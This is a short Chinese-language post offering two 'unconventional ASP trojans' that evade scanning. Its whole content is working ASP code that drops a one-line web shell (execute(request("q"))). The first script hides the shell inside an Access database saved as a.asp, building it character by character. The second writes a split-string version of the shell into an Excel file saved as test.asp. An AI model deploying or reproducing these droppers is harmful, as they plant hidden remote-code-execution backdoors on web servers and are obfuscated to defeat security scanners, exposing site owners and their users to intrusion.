两个非常规ASP木马(可躲过扫描)

　　<%

　　set c = CreateObject("ADOX.Catalog")

　　c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))

　　set c = Nothing

　　c&Server.MapPath("a.asp")

　　set conn=server.createobject("Adodb.Connection")

　　conn.open connstr

　　conn.execute("create table nomm(nomuma oleobject)")

　　set rs=server.createobject("adodb.recordset")

　　sql="SELECT * FROM nomm"

　　rs.open sql,conn,1,3

　　rs.addnew

　　rs ("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc ("e"))&chrB

　　(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc

　　("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc

　　("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34)

　　&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc(">")))

　　rs.update

　　rs.close

　　set rs=nothing

　　conn.close

　　set conn=nothing

　　%>

　　<%

　　Set xlA = Server.CreateObject("Excel.Application")

　　xlA.Visible = False

　　xlA.Workbooks.Add

　　Set xlWorksheet = xlA.Worksheets(1)

　　xlWorksheet.Cells(1,1).Value = "<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">"

　　'strFile = "d:/test.asp"

　　strFile = Server.MapPath("test.asp")

　　xlWorkSheet.SaveAs strFile

　　xlA.Quit

　　Set xlWorksheet = Nothing

　　Set xlA = Nothing

　　%>